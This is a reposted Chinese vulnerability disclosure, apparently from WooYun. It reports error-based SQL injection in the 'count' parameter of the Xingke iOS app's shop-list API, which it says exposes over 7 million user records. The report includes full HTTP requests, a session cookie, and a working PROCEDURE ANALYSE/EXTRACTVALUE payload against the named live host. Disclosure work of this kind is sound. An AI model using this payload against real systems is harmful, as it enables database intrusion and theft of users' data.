神刀安全网

漏洞标题: 时趣某APP一处Limit后注入(涉及700W+用户数据)

漏洞详情

披露状态:

2016-04-29: 细节已通知厂商并且等待厂商处理中
2016-05-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

APP安全之SQL注入

详细说明:

目标:时趣互动IOS APP星客

检测发现以下地方存在SQL注入:(注入参数count,报错注入)

code 区域
GET http://api.51xingke.com/index/getshoplist?city=1&cls=0&count=0&distance=0&f=2&ismore=0&key=%E6%9C%A8&lat=22.539498&lng=113.944141&type=0&v=5 HTTP/1.1
Cookie: XINGKE_USER_KEY_SEND=sRKjchPI%2F0E5mhtvE4g095Vf3IwAGxKJAA%2Fgpyrxf7Wu10KmyjgNoFjYsfWITUpkTmBtlpzykInDslO6SnxIryGpEiZPTce6K2KLBho%2Fuy4%3D
X-Requested-With: XMLHttpRequest
Referer: http://api.51xingke.com/index/getshoplist?distance=0&lat=22.539498&lng=113.944141&cls=0&type=0&count=0&ismore=0&city=1&key=%E6%9C%A8&v=5&f=2
Host: api.51xingke.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

Payload:

code 区域
GET http://api.51xingke.com/index/getshoplist?city=1&cls=0&count=0%2F**%2FPROCEDURE%2F**%2FANALYSE(EXTRACTVALUE(1%2Cuser())%2C1)--+-&distance=0&f=2&ismore=0&key=%E6%9C%A8&lat=22.539498&lng=113.944141&type=0&v=5 HTTP/1.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Host: api.51xingke.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache,no-store
Referer: http://api.51xingke.com/index/getshoplist?distance=0&lat=22.539498&lng=113.944141&cls=0&type=0&count=0&ismore=0&city=1&key=%E6%9C%A8&v=5&f=2
Cookie: XINGKE_USER_KEY_SEND=sRKjchPI%2F0E5mhtvE4g095Vf3IwAGxKJAA%2Fgpyrxf7Wu10KmyjgNoFjYsfWITUpkTmBtlpzykInDslO6SnxIryGpEiZPTce6K2KLBho%2Fuy4%3D
Content-Length: 0

漏洞证明:

1、当前数据库用户

漏洞标题:  时趣某APP一处Limit后注入(涉及700W+用户数据)

2、所有数据库

漏洞标题:  时趣某APP一处Limit后注入(涉及700W+用户数据)

3、用户表,涉及700W+用户数据,具体就不深入了,仅列出个数作为证明

漏洞标题:  时趣某APP一处Limit后注入(涉及700W+用户数据)

漏洞标题:  时趣某APP一处Limit后注入(涉及700W+用户数据)

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 时趣某APP一处Limit后注入(涉及700W+用户数据)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址